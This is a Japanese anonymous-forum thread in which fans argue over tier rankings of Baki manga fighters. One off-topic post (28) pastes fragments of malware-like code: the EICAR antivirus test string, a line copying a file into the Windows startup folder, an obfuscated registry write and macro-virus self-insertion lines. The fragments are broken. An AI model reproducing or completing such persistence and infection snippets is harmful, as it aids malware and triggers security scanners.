【グラップラー】バキ強さ議論スレ 7 【範馬刃牙】

【グラップラー】バキ強さ議論スレ 7 【範馬刃牙】 at WCOMIC

1:名無しさんの次レスにご期待下さい
07/11/10 22:08:51 456PcbVp0
暫定ランキング

鬼　範馬勇次郎
？　ピクル

S　範馬刃牙　郭海皇　ビスケット・オリバ
A　J・ゲバル　ジャック・ハンマー

B+　烈海王　龍書文　ガイア
B-　柳龍光　渋川剛気　愚地独歩マホメド・アライJr.

C+　劉海王　ドリアン海王　天内悠　寂海王　郭春成　シコルスキー　愚地克巳　花山薫　
C　マスター国松ヘクター・ドイル　鎬昂昇　スペック　アレクサンダー・ガーレン　鎬紅葉
C-　猪狩完至　金竜山　本部以蔵　三崎健吾　ローランド・イスタス　範海王　李海王　

D+　斗羽正平　稲城文之信　ズール　楊海王　連携マウス
D　アイアン・マイケル　リチャード・フィルス　陳海王　サムワン海王
D-　セルゲイ・タクタロフ　柴千春　除海王　孫海王

E+　加藤清澄　花田純一　末堂厚　ロジャー・ハーロン　アンドレアス・リーガン
E　山本稔　ロブ・ロビンソン　ラベルト・ゲラン　セルジオ・シルバ
E-　畑中公平　李猛虎　デントラニー・シットハイカー　マイク・クイン

前スレ

ｽﾚﾘﾝｸ(wcomic板)

2:名無しさんの次レスにご期待下さい
07/11/10 22:09:41 RAvLk47yO

　　　　　　＿＿＿_
　　　　　 /／￣￣`|
　　　　　/｜断だ |
　　　　 / ｜るが |
　　　　/ｲ　＼＿＿_|
　　　 / |／/　／| |
　　　/_＼ /_／＿レ|
　　 ∧o>/ ｨﾆ≡三＼|
　　/ミ／／ r-＜彡ﾉ|
　 / ／彡ヾ＼_O＞ |
　/iハ-ｲ )　￣ヽ彡|
`/ i∧二　　　 /／ |
/　(`ー､＼　　//　/|
`＜j`ーヾ_ゝ //　(r|
　｀＜　　ノ　 / ﾘ|
　　　｀＜　　//７|
　　　　　｀＜/ / |
　　　　　　　｀＜|
　

3:名無しさんの次レスにご期待下さい
07/11/10 22:11:09 jTyK9a1U0
>>1
アンタ天才
だけどガイアが惜しいな

4:名無しさんの次レスにご期待下さい
07/11/10 22:11:44 MctqKMQR0
>>1
まぁ乙

5:名無しさんの次レスにご期待下さい
07/11/10 22:13:13 hGDHldNV0
乙です。

6:名無しさんの次レスにご期待下さい
07/11/10 22:13:13 0EaHmjYi0
鬼　範馬勇次郎
？　ピクル

S　郭海皇　範馬刃牙　ビスケット・オリバ
A　 J・ゲバル　ジャック・ハンマー
B+　烈海王　龍書文　
B　　マホメド・アライJr.　渋川剛気
B-　本部以蔵（夜公園）　柳龍光　愚地独歩
C+　ガイア劉海王　ドリアン海王　郭春成　愚地克巳　花山薫　マスター国松天内悠
C　寂海王鎬昂昇　シコルスキー　ヘクター・ドイル　スペック　鎬紅葉　
C- アレクサンダー・ガーレン　三崎健吾　範海王　李海王　連携マウス　
D+　猪狩完至　金竜山　斗羽正平　楊海王　アイアン・マイケル　サムワン海王　アライ父　
D　ズール　稲城文之信　ローランド・イスタス　リチャード・フィルス　陳海王
D-　セルゲイ・タクタロフ　除海王　孫海王柴千春
E+　加藤清澄　花田純一　本部以蔵（通常）　末堂厚　ロジャー・ハーロン　アンドレアス・リーガン
E　山本稔　ロブ・ロビンソン　ラベルト・ゲラン　セルジオ・シルバ
E-　畑中公平　李猛虎　デントラニー・シットハイカー　マイク・クイン

前スレ
ｽﾚﾘﾝｸ(wcomic板)
避難所（実質6.5）
ｽﾚﾘﾝｸ(csaloon板)

1がガイアバージョンのままなので、前スレのランクを貼っておく

7:名無しさんの次レスにご期待下さい
07/11/10 22:18:23 E1TZOHfJ0
>>1
ガイア厨いい加減にしろよお前・・・

8:名無しさんの次レスにご期待下さい
07/11/10 22:19:54 MctqKMQR0
>>6
大体これで異論は無いかな、俺は

9:名無しさんの次レスにご期待下さい
07/11/10 22:20:51 iyVycToy0
ガイアはもうランクから消したほうがいいんじゃねーか？

10:名無しさんの次レスにご期待下さい
07/11/10 22:21:57 0EaHmjYi0
ユリーとかはやっぱりＥ-なんだろうな。

11:名無しさんの次レスにご期待下さい
07/11/10 22:22:13 jTyK9a1U0
>>7
お前その言い方はないだろ、単に貼り付けただけかも知れないし。

12:名無しさんの次レスにご期待下さい
07/11/10 22:22:24 RAvLk47yO
鬼　範馬勇次郎
？　ピクル
SS　範馬バキ
S　郭海皇　ビスケット・オリバ
A　 J・ゲバル　ジャック・ハンマー
B+　烈海王　龍書文　
B　　マホメド・アライJr.　渋川剛気
B-　本部以蔵（夜公園）　柳龍光　愚地独歩
C+　ガイア劉海王　ドリアン海王　郭春成　愚地克巳　花山薫　マスター国松天内悠
C　寂海王鎬昂昇　シコルスキー　ヘクター・ドイル　スペック　鎬紅葉　
C- アレクサンダー・ガーレン　三崎健吾　範海王　李海王　連携マウス　
D+　猪狩完至　金竜山　斗羽正平　楊海王　アイアン・マイケル　サムワン海王　アライ父　
D　ズール　稲城文之信　ローランド・イスタス　リチャード・フィルス　陳海王
D-　セルゲイ・タクタロフ　除海王　孫海王柴千春
E+　加藤清澄　花田純一　本部以蔵（通常）　末堂厚　ロジャー・ハーロン　アンドレアス・リーガン
E　山本稔　ロブ・ロビンソン　ラベルト・ゲラン　セルジオ・シルバ
E-　畑中公平　李猛虎　デントラニー・シットハイカー　マイク・クイン

13:名無しさんの次レスにご期待下さい
07/11/10 22:23:42 MctqKMQR0
ところでレッセン君はどのくらい？

14:名無しさんの次レスにご期待下さい
07/11/10 22:24:48 CfDQ7aSu0
とりあえず>>1のランクは無視して>>6を土台に話をすすめよう

稲城とフィルス下げるかどうかって件はどうなん？

15:名無しさんの次レスにご期待下さい
07/11/10 22:27:36 0EaHmjYi0
レッセン君は別に格闘のプロではなくて、強めの軍隊の一員って感じだからな。
凄く強い描写もないしＤとＥの間のどこかじゃないの？
Ｅ-でさえ、徳川邸のボディガード隊長より強いんでしょ。

16:名無しさんの次レスにご期待下さい
07/11/10 22:27:45 RAvLk47yO
とりあえずバキとオリバが同じＳランクなわけない

バキにとってオリバなど小細工使えば普通に勝てるレベル

17:名無しさんの次レスにご期待下さい
07/11/10 22:29:14 THQx6aIh0
>>16
オリバに勝つってそういうこと（ｒｙ

18:名無しさんの次レスにご期待下さい
07/11/10 22:29:27 jTyK9a1U0
>>16
それは言えてる、あえて相手の土俵で戦って、その相手の得意分野で勝った
のに、同ランクはないわ

19:名無しさんの次レスにご期待下さい
07/11/10 22:31:43 0EaHmjYi0
オリバは中国に行って、変なハンドポケット対決をして格を落とした気が。
１こ下げでいいだろう。Ａの中でもゲバルとは多少差があるが。

20:名無しさんの次レスにご期待下さい
07/11/10 22:32:15 6G1AU3u5O
ちょ・・・マジかよガイア
あんだけ今の位置は有り得ない議論しても結局現状のままなのかよ・・・

21:名無しさんの次レスにご期待下さい
07/11/10 22:35:23 MctqKMQR0
>>20
>>5

22:名無しさんの次レスにご期待下さい
07/11/10 22:36:01 MctqKMQR0
ごめん>>6

23:名無しさんの次レスにご期待下さい
07/11/10 22:36:41 E1TZOHfJ0
>>11
まあ俺も立てた人を讃える気持ちはあるんだが、みんなが既に乙って言ってくれてるんで、
１人ぐらいはガイア厨だった場合のカマもかけとかんとねと思ってさ

でもその後の流れで、>>6 >>12土台になってるみたいだから、まずは平穏すね

24:名無しさんの次レスにご期待下さい
07/11/10 22:40:12 iyVycToy0
ゲバルも一個下げていいんじゃないかな。
達人よりワンランク上で烈と同格って十分じゃん

25:名無しさんの次レスにご期待下さい
07/11/10 22:40:13 E1TZOHfJ0
オリバ、バキとは何戦もして勝ったり負けたりのイメージだから、このままでいいんじゃね？

>>20
>>6

26:名無しさんの次レスにご期待下さい
07/11/10 22:42:01 E1TZOHfJ0
>>24
あー、オリバとゲバルと両方下げるのか
それならアリのような気も

27:名無しさんの次レスにご期待下さい
07/11/10 22:47:43 SHsXHpH40
オリバに比べ、稲木とフィルスの件のスルーっぷりがうけるな

あと6.5スレ目で上がってたのは、千春の件だっけ？

28:名無しさんの次レスにご期待下さい
07/11/10 22:47:51 UHM6Fvwh0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub

29:名無しさんの次レスにご期待下さい
07/11/10 22:50:42 0EaHmjYi0
>>27
フィルスは１下げでいいけど稲城ってどういう人か思い出せない。
日本拳法かなにかだっけ？

30:名無しさんの次レスにご期待下さい
07/11/10 22:51:32 jTyK9a1U0
花山に背骨折られた哀れな男・・

31:名無しさんの次レスにご期待下さい
07/11/10 22:53:30 qi812S7F0
またガイア廚が、議論を白紙に戻して差し戻しか・・・。
これは削除依頼出したほうがいいんじゃないか？

32:名無しさんの次レスにご期待下さい
07/11/10 22:54:50 iyVycToy0
稲城はちょっと判断に困るがフィルスは確かに高すぎると思う。
独歩の攻撃を何発か耐える＆膝をつかせるダメージを与えるは評価できるが
所詮独歩が相手の土俵に乗ってやっただけ。
目突きとかやってくる加藤に勝てるかもあやしい。

33:名無しさんの次レスにご期待下さい
07/11/10 22:58:22 qi812S7F0
取り合えず今後の議論は、>>12を叩き台にして進めよう。

34:名無しさんの次レスにご期待下さい
07/11/10 22:58:46 T016MQDrO
D以下ランク間の実力差はあまり無さそう
>>6で妥当な感じ

35:名無しさんの次レスにご期待下さい
07/11/10 22:59:29 0EaHmjYi0
Ｄこんな感じかな。
アイアンマイケルも千春にあれだけ苦戦して、勝敗に至っては負けなので２こ上はないかと。

D+　猪狩完至　金竜山　斗羽正平　楊海王　サムワン海王　アライ父　
D　ズール　（稲城文之信←？）　ローランド・イスタス　アイアン・マイケル　陳海王
D-　セルゲイ・タクタロフ　除海王　孫海王柴千春　リチャード・フィルス

36:名無しさんの次レスにご期待下さい
07/11/10 22:59:33 mWsqbCtCO
稲城文之新とセルゲイタクタロフは再起不能なのかな

37:名無しさんの次レスにご期待下さい
07/11/10 23:01:32 MctqKMQR0
>>26
そもそもセックス裏返り鬼無しバキがいくら殴っても無傷だったオリバにしっかりとダメージを与えて
共同とはいえ張り手一発で気絶させたゲバルは鬼無しバキより実力は上に思える。
まぁ最トー時代のバキやジャックよりは強いだろう。
そしてシコルはオリバにＭＡＸの一撃を叩き込んでも全くモノともせずワンパンでＫＯ
ジャックはオリバと比べてシコルにそれなりに手こずっている。

ジャックがゲバルより強いとかオリバと同格とかいう主張の根拠って単なる「印象」でしかないんじゃないか？

38:名無しさんの次レスにご期待下さい
07/11/10 23:02:50 6G8zw1ZN0
>>6
乙だがアライJrは渋川・独歩に二戦目で完全敗北してるじゃん。
哀れっぽく怪我の描写があるから錯覚しやすいが、そんなの考慮するなら渋川戦の
独歩は天内に膝を折られるという空手家にとって致命的なダメージを受けてた。これが
なければ菩薩拳は万全な状態で渋川に直撃し、コンマの差を逆転してたかもしれん。
しかし、グラップラーの戦いではそんなの無視されるべき要素であり、渋川が勝った
という結果が全て。ダメージを言い訳にするからパパにチキンと言われた。

二戦目の内容も独歩でさえ額受けでアライの拳を粉砕して、一戦目でギリギリ回避
された厄介なフットワークを封じるために足をたたき折るなどダメージ関係なく完璧に
攻略している。渋川はパンチを見切っていて、最早問題になってない。

アライは独歩達に引けを取らない高水準の技術をもってるが、攻撃に幅がないため
簡単に分析されてしまったという結果が出ていると思う。

39:名無しさんの次レスにご期待下さい
07/11/10 23:04:33 jTyK9a1U0
>>37
それは知らんが、バキに相手の土俵でオリバが負けたのも事実。
オリバを１ランク下げるのは当然じゃないか？

40:名無しさんの次レスにご期待下さい
07/11/10 23:04:37 PB0/d/RU0
その分析もJrVSバキの予想には全く生かされなかったのが惜しい。

41:名無しさんの次レスにご期待下さい
07/11/10 23:05:04 qi812S7F0
アライJr戦については、

渋川　＞　アライJr ＞独歩

これでいいと思うぞ。

42:名無しさんの次レスにご期待下さい
07/11/10 23:05:09 ROQ4S1HA0
>>31
大丈夫。みんな>>6前提で話してるから

43:名無しさんの次レスにご期待下さい
07/11/10 23:06:16 MctqKMQR0
ならばA＋にオリバを置いてみるか？これならスッキリする気が

44:名無しさんの次レスにご期待下さい
07/11/10 23:07:55 0EaHmjYi0
刑務所に入った当初とオリバ戦でバキの強さが全く違うように思う。
最終的な強さで言えばバキ＞オリバだけど。
ゲバルの張り手で気絶したバキをランキング表現するなら、バキを分けなきゃいけなくなるな。

45:名無しさんの次レスにご期待下さい
07/11/10 23:08:38 6G8zw1ZN0
>>41
せめてアライ＞独歩の理由を聞かせてくれ

46:名無しさんの次レスにご期待下さい
07/11/10 23:10:28 qi812S7F0
>>45

・一回目の独歩は、途中から抜き身の刀になってリアルファイトに移行した上で敗れた
・二回目の独歩は、ジャック、渋川に痛めつけられたところを狙って戦った

47:名無しさんの次レスにご期待下さい
07/11/10 23:12:14 ROQ4S1HA0
>>36
タクタロフは、連転華されたのにすぐ活動してたから割りとタフ

48:名無しさんの次レスにご期待下さい
07/11/10 23:13:02 jTyK9a1U0
怪我考慮しないなら
ガーレン＞＞＞＞花山になるぞ？
パンチをモロに喰らって効かなかったんだしなガーレン。

49:名無しさんの次レスにご期待下さい
07/11/10 23:14:02 PB0/d/RU0
ガーレンは、普通に強いだろ。
問題無し。

50:名無しさんの次レスにご期待下さい
07/11/10 23:14:11 T016MQDrO
>>38
Jrが独歩に敗北で終わってたら
渋川＞独歩＞Jr
で全然構わないがその後Jrは立ち直りアライ流完成させていて、バキでもヤバいと、渋川独歩が予想してる

51:名無しさんの次レスにご期待下さい
07/11/10 23:14:26 qi812S7F0
>>48
そうは、ならないと思うぞ。

52:名無しさんの次レスにご期待下さい
07/11/10 23:14:59 jTyK9a1U0
でも>>6のランクではかな～り下。

53:名無しさんの次レスにご期待下さい
07/11/10 23:15:25 MctqKMQR0
ガーレン　シコル　花山

この３人の関係はマジで難しいｗ

54:名無しさんの次レスにご期待下さい
07/11/10 23:15:46 /iOTHSn20
>>38
一戦目圧勝なのも、それはそれで重要だと思うぞ
あと渋川にも独歩にも、おれらのせいでバキにも勝てるようになっちまったと言われてるし
バキも紙一重だった言うてるし

55:名無しさんの次レスにご期待下さい
07/11/10 23:16:23 iyVycToy0
少なくとも一回目は両者まったくイーブンな状態で独歩が負けたからな。

でももう一度両者が万全な状態でやっても独歩が勝ちそうだなぁ。

56:名無しさんの次レスにご期待下さい
07/11/10 23:17:24 jTyK9a1U0
>>51
理由は？
渋川、独歩＞＞アライになるなら
ガーレン＞＞花山もいいだろ。
つかむしろガーレン＞花山の方が怪我を考慮しても圧倒的戦力差だったし。

俺はどっちでもいいんだがな。

57:名無しさんの次レスにご期待下さい
07/11/10 23:18:41 qi812S7F0
別に難しくないと思うぞ
そもそもガーレンと花山を結びつける必要はないでしょ

外伝の２つの敗北にもカウントされてないから、
強さ議論に含める判断材料にはならないよ

同じパワーキャラとして、ひとりが瀕死、ひとりが万全では
強さ議論の前提となる強さの比較にはならないよ

他のキャラクターは、平均から万全の状態を元に判断されているのに
花山だけ瀕死の状態まで元にされるのでは、あきらかにおかしい

58:名無しさんの次レスにご期待下さい
07/11/10 23:19:06 /iOTHSn20
>>53
分けざるを得ない本部よりマシｗ

バキも分けようぜ
（鬼）と（通常）に

（通常）は烈ランクの最上位でいいだろ

59:名無しさんの次レスにご期待下さい
07/11/10 23:19:26 qi812S7F0
>>56
ちゃんと読んだか？

60:名無しさんの次レスにご期待下さい
07/11/10 23:19:54 PB0/d/RU0
万全の状態なら、花山がガーレンに勝てたの？

61:名無しさんの次レスにご期待下さい
07/11/10 23:20:36 iyVycToy0
あの時点ではガーレン＞花山で問題ないでしょ。
あの花山を一撃で倒すなんてガーレンすげぇよってシーンなんだし。
花山の負傷や千春に気を取られたっていうフォローは
なるべくインフレさせずに辻褄を合わせたいか、ただ単に花山好きの言い訳。
そもそも克己に負けてるんだからあの時の花山はそんなに強くないよ。

62:名無しさんの次レスにご期待下さい
07/11/10 23:20:42 qi812S7F0
それは当然だろう。
ガーレンは、競技者としてハイレベルな位置にいるだけだしね。

63:名無しさんの次レスにご期待下さい
07/11/10 23:21:56 PB0/d/RU0
ガーレンも花山も潜在能力と信念だけで闘ってる似た者キャラ。

64:名無しさんの次レスにご期待下さい
07/11/10 23:21:56 qi812S7F0
克己には、実質、３回勝利しているよ。
それに試合場ではなくてゲーセンなら、克己が走り回ってにげることすら出来ないしね。

65:名無しさんの次レスにご期待下さい
07/11/10 23:23:19 MctqKMQR0
克己のマッハ突きの対処が全く出来なかったのが問題なんだって。

66:名無しさんの次レスにご期待下さい
07/11/10 23:23:32 jTyK9a1U0
>>59
ちゃんと読んだけど？
で君はなんで違うと思うわけ？

67:名無しさんの次レスにご期待下さい
07/11/10 23:23:48 /iOTHSn20
オリバを下げるなら、ゲバルも下げないと違和感がある
何だかんだで圧倒だったし

68:名無しさんの次レスにご期待下さい
07/11/10 23:24:00 qi812S7F0
>>66
何が？

69:名無しさんの次レスにご期待下さい
07/11/10 23:24:43 jTyK9a1U0
>>68
ガーレン＞＞＞＞花山
にならない理由。

70:名無しさんの次レスにご期待下さい
07/11/10 23:25:02 XJAFk7W70
勝てるか勝てないかは別として
別に花山が勝てても何も不思議はない

71:名無しさんの次レスにご期待下さい
07/11/10 23:25:26 PB0/d/RU0
>>64
仕留めるチャンスが3回あっただけでそのチャンスをモノに出来てないんだから、
話にならない。
大体あの時点では、音速拳をどうしようも出来ないし。
また、ゲーセンなら筐体乗り越えたり、ギャラリーにまぎれたり、
逃げ道は色々あると思うけど。

72:名無しさんの次レスにご期待下さい
07/11/10 23:25:37 6G8zw1ZN0
>>46
二回目は理由にならんよ。自分で喧嘩ふっかけといて、一回勝ったくらいで安心して
再戦される可能性を全く考えてない浅はかなアライが悪い。
それに二戦目は怪我関係なく見事に手も足も出てない。

>>48
俺はそれでいいと思うよ。ダメージ以前に歴然とした差が二人にはある。

73:名無しさんの次レスにご期待下さい
07/11/10 23:26:34 qi812S7F0
>>69
ガーレンは万全、花山は瀕死だっただろ

それがありなら、飲酒で勇次郎に部と殺された直後の独歩より
万全の渋川のほうがふた周りぐらい強そうだから　渋川＞＞＞＞独歩になるぞ？

74:名無しさんの次レスにご期待下さい
07/11/10 23:26:52 iyVycToy0
別に克己との直接的優劣は今の議論と関係ない。
克己と一進一退の戦いをして最終的に音速拳に倒れた当時の花山はそこまでの実力ではないというだけ。
烈は達人ならそれこそ実質１００回でも２００回でも克己に勝てただろう。

75:名無しさんの次レスにご期待下さい
07/11/10 23:27:25 bmyK1tsRO
あそこはガーレン＞＞花山だったからおもしろかったんだが…

違うのか？

76:名無しさんの次レスにご期待下さい
07/11/10 23:28:39 qi812S7F0
×部と殺された
○ぶち殺された

77:名無しさんの次レスにご期待下さい
07/11/10 23:29:00 jTyK9a1U0
>>73
戦ってないじゃん、現に戦闘して秒殺されたんだぞ？花山は。
つか現実渋川＞独歩だし。

それと渋川、独歩＞＞アライにするなら
ガーレン＞＞花山にするべきなんじゃないかって言ってるだけ。
怪我を考慮してないんだからな。

78:名無しさんの次レスにご期待下さい
07/11/10 23:29:07 z0XxLyKLO
花山は克巳の顔面を握力で握り潰して終わりだよ

79:名無しさんの次レスにご期待下さい
07/11/10 23:29:15 iyVycToy0
あの時の花山を瀕死扱いって逆に花山の株落としてねーか。

80:名無しさんの次レスにご期待下さい
07/11/10 23:30:25 qi812S7F0
>>77
飲酒でぶち殺された直後の独歩と万全の渋川が戦って独歩が勝てる根拠は？

81:名無しさんの次レスにご期待下さい
07/11/10 23:31:25 MouiDi2W0
花山克巳よりは一歩上に居るなガーレンは

82:名無しさんの次レスにご期待下さい
07/11/10 23:31:47 qi812S7F0
最大Ｔ決勝戦直後の瀕死のバキと万全の独歩なら独歩が勝ちそうだから
独歩＞＞＞＞バキでいいよね？

83:名無しさんの次レスにご期待下さい
07/11/10 23:32:27 PB0/d/RU0
>>73
瀕死っていっても、一試合分のインターバルはあったし、
パンチの威力も疲れてへろへろじゃなくて
バキも克巳も耐えられたことに瞠目するキレだったじゃん。

84:名無しさんの次レスにご期待下さい
07/11/10 23:33:03 jTyK9a1U0
>>80
ちょっとまて、さっきから意味分からないぞお前。
>>73では渋川＞独歩と言っておいて、俺が渋川＞独歩って言ったら
今度は「独歩と万全の渋川が戦って独歩が勝てる根拠は？」って・・・

85:名無しさんの次レスにご期待下さい
07/11/10 23:33:27 qi812S7F0
>>83
ならアライJrの場合は一試合分のインターバルどころか、日数を隔てていたんだから
いいんじゃないか？

86:名無しさんの次レスにご期待下さい
07/11/10 23:33:37 MctqKMQR0
>>82
瀕死のジャックと勇次郎が闘ってたけどジャックが全開なら勝てたかも知れないから
ジャック＞＞＞＞＞勇次郎でおｋだな。

87:名無しさんの次レスにご期待下さい
07/11/10 23:33:47 0EaHmjYi0
主人公のバキなんかは顕著だけど、この漫画インフレしてるからね。
違う時期のキャラを比較してもうまくいかない。

最終バキ（鬼）＞オリバ＞＞ゲバル＞刑務所入り当時バキだろうし、
トーナメント時点では花山あまり強くないが、死刑囚編でへたれたガーレンよりは当時の花山の方が強いだろう。

88:名無しさんの次レスにご期待下さい
07/11/10 23:34:58 qi812S7F0
>>84
そう思うなら、それでいいよ。
では >>82 については？

89:名無しさんの次レスにご期待下さい
07/11/10 23:36:40 E1TZOHfJ0
なんかアライの話だったのが、花山の話に摩り替わってるなｗ
そこらへんは決着しそうにないからとりあえずほっといて、
雑魚海王が多くてよく思い出せないから、誰か下記の説明の抜けを埋めてくれんか？

範海王・・・ワケわなんねぇ
李海王・・・毒手
楊海王・・・幼児プレイドリアンに勝った固い男？
陳海王・・・
サムワン海王・・・方向性は間違ってない男
除海王・・・
孫海王・・・

90:名無しさんの次レスにご期待下さい
07/11/10 23:37:16 qi812S7F0
>>86
普通の人なら、瀕死の状態のジャックでは強さ議論の判断材料には、ならないと判断するよ
つまり瀕死の花山と万全のガーレンを強さ議論に結びつけることじたいが無意味だ。

91:名無しさんの次レスにご期待下さい
07/11/10 23:37:59 jTyK9a1U0
>>88
いやどう思うも何もさ、大丈夫か？と言いたい。

92:名無しさんの次レスにご期待下さい
07/11/10 23:38:00 MctqKMQR0
範海王・・・ワケわなんねぇ
李海王・・・毒手
楊海王・・・幼児プレイドリアンに勝った固い男？
陳海王・・・寂にジャックジャクにされた男
サムワン海王・・・方向性は間違ってない男
除海王・・・アライに打倒されたデカイ男
孫海王・・・タントウからやり直した人

93:名無しさんの次レスにご期待下さい
07/11/10 23:38:30 qi812S7F0
>>89
まぁ寂、ガイア、シコル、アライJr廚の癖だしね。

自分が不利になると、
それだと花山がこうなるけどいいのかぁ～？って姑息な小判鮫論法に走る。

94:名無しさんの次レスにご期待下さい
07/11/10 23:39:00 iyVycToy0
ムキになって極端な反例を上げるのはやめろよ。
何が主張したいのかはっきり伝わらないし、相手の反感も買って
一番損するのは自分だぞ

95:名無しさんの次レスにご期待下さい
07/11/10 23:39:19 qi812S7F0
>>91
瀕死の相手と比較することの無意味さを教えてあげたんだよ。

96:名無しさんの次レスにご期待下さい
07/11/10 23:39:31 jTyK9a1U0
>>90
つまり
瀕死にアライは判断材料じゃないから
渋川戦、独歩戦の２戦目は考慮しなくていいんだな？

97:名無しさんの次レスにご期待下さい
07/11/10 23:39:58 T016MQDrO
最トー～スペック戦の間で花山の強さは変わったんだろうか？
トレーニングなんかはしないだろうから、有るとしたら身体の成長または実戦の経験による成長くらいか

98:名無しさんの次レスにご期待下さい
07/11/10 23:40:08 qi812S7F0
ID:iyVycToy0
ID:jTyK9a1U0

頑張れ！

99:名無しさんの次レスにご期待下さい
07/11/10 23:40:46 qi812S7F0
>>96

つ >>93

100:名無しさんの次レスにご期待下さい
07/11/10 23:41:03 PB0/d/RU0
>>90 >>95
だから瀕死っていっても、休息とってそれなりにキレのあるパンチ撃ってたじゃん。

101:名無しさんの次レスにご期待下さい
07/11/10 23:41:54 qi812S7F0
>>100
じゃあ休憩どころか日数を隔てていたアライJrには何の問題もないんじゃないのか？

102:名無しさんの次レスにご期待下さい
07/11/10 23:42:39 jTyK9a1U0
>>99
もうお前さんが何を言いたいのか全然分からないわ、ゴメンな。

103:名無しさんの次レスにご期待下さい
07/11/10 23:43:08 qi812S7F0
逃げたか

104:名無しさんの次レスにご期待下さい
07/11/10 23:45:09 iyVycToy0
ID:qi812S7F0
こいつもう頭おかしいからスルーでいいだろ。
やっぱＩＤ出ると基地外がはっきりわかっていいな。

俺も逃げますよ。

105:名無しさんの次レスにご期待下さい
07/11/10 23:45:19 msBXY5Wb0
三崎健吾の位置が高いなｗ
ガーレンと同レベルか・・・

106:名無しさんの次レスにご期待下さい
07/11/10 23:45:25 E1TZOHfJ0
>>92
サンクス

となるとランキング順的には順当そうね
それを踏まえてＤは、

D+　猪狩完至　金竜山　斗羽正平　楊海王　アイアン・マイケル　サムワン海王　アライ父　
D　ズール　ローランド・イスタス　陳海王レッセン
D-　柴千春リチャード・フィルス　セルゲイ・タクタロフ　稲城文之信　除海王　孫海王

でどうだろう？左右関係ありで。
ちなみにレッセンって、苗字出てた？

107:名無しさんの次レスにご期待下さい
07/11/10 23:45:37 PB0/d/RU0
>>101
アライのことなんか知らん。
最トー時にはガーレン＞＞＞花山だったって言ってるんだけど。

108:名無しさんの次レスにご期待下さい
07/11/10 23:46:25 qi812S7F0
>>104

つ >>98 で君たちコンビは予想していたよ

109:名無しさんの次レスにご期待下さい
07/11/10 23:46:33 MouiDi2W0
ところで17歳バキは烈戦で覚醒して脳内麻薬操作思い出したみたいだけど、それまではMAX13歳バキより弱かったんだろうか
独歩の打撃マジで見えてなかったこともあったし

110:名無しさんの次レスにご期待下さい
07/11/10 23:47:48 bmyK1tsRO
イスタスが捕まってるッ

111:名無しさんの次レスにご期待下さい
07/11/10 23:49:10 MctqKMQR0
トニー・レッセンだっけ？
ていうか二人だけで原発ジャックできるって結構凄くない？

112:名無しさんの次レスにご期待下さい
07/11/10 23:49:16 qi812S7F0
>>107
それは判断材料にするには少なすぎるな。
瀕死ＶＳ万全では、強さ議論の叩き台にならない。

そもそもガーレンは、花山のパンチをくらって
グラついてるしな。

あの後、万全の花山と殴り合っていたら、グラリではすまなかっただろう。

113:名無しさんの次レスにご期待下さい
07/11/10 23:49:33 PB0/d/RU0
>>109
地下闘技場で無敗の王者やってる間に、
Sir曰く「余りに多くの勝利は兵士を弱体化させるという」
状態になってたのかもね。

114:名無しさんの次レスにご期待下さい
07/11/10 23:50:36 iyVycToy0
>>105
一回戦はベスト４の４人に並ぶくらいの完全無傷の完勝
二回戦もジャック相手に達人と同じくらい健闘したからなｗ
正直もっとも評価の難しい人の一人だと思う。

115:名無しさんの次レスにご期待下さい
07/11/10 23:50:38 D3l1MpDt0
前から思ってたんだが、描写優先とはいえ相性の問題も考慮しなきゃダメだと思うんだよ。

例えばオリバは来日直後には本気モードじゃなかったとはいえ、渋川に完敗してしまった。
その渋川をアライＪｒは瞬殺したけれど、どう考えてもアライＪｒではオリバには勝てないだろ。
ガイアはシコルに圧勝したとはいえ、どう考えてもあの戦法で花山を倒す姿は想像できん。

だからまあ、そのなかで一般的に勝率が高そうな方を相対的に上に置くのは解るんだが、
シコルを完全に圧倒したという点だけでそこまで評価をあげることはないだろうと思うんだよなぁ。

ジャックがわざわざ連れてきた事からも解るが、
ガイアはシコルに対して相性がよかったわけで、それ故の圧勝じゃねーのと。

116:名無しさんの次レスにご期待下さい
07/11/10 23:51:10 E1TZOHfJ0
>>97
なんか花山は、成長するだけで強くなるみたいなことをお付の人が言ってなかったっけ？
って、別に>>6より花山上げろとか言うつもりはないが。今ぐらいのランクでいいんじゃね。

それはそうと、それぞれの最新の戦闘描写時の強さでランクするとなると、ドリアンが難しいなｗ

117:名無しさんの次レスにご期待下さい
07/11/10 23:52:17 0EaHmjYi0
>>106
レッセンがＤは厳しいよ。
幼少編で出た徳川邸を守ってる相手の動きをトレースするやつ、地下闘技場で最弱つまりＥ-にも入らない。
ブラジリアン柔術で４００戦無敗だったキャラも地下闘技場では子ども扱い。
機転の利くボディガードとは思うが、レッセンがそこまで強いとは思えない。

118:名無しさんの次レスにご期待下さい
07/11/10 23:52:46 iyVycToy0
そもそもあの時点のシコルだったら
一定の実力者なら誰でもボコボコにできてた気がするのは俺だけ？

119:名無しさんの次レスにご期待下さい
07/11/10 23:53:01 D3l1MpDt0
>>116
まあドリアンは再起不能ということでまともに戦えてた時代のでいいんじゃないかと

120:名無しさんの次レスにご期待下さい
07/11/10 23:53:59 MctqKMQR0
>>118
B以上なら誰でもフルボッコだろうね。

121:名無しさんの次レスにご期待下さい
07/11/10 23:54:28 D3l1MpDt0
>>118
それは言っちゃダメだ。漫画を漫画としてみた場合の見解。雰囲気だけだからな。

シコルが極端に弱くなったわけではないのだから、あくまで漫画の世界のなかでは
シコルより他のキャラが強くなったあるいは強かっただけだと考えないと

122:名無しさんの次レスにご期待下さい
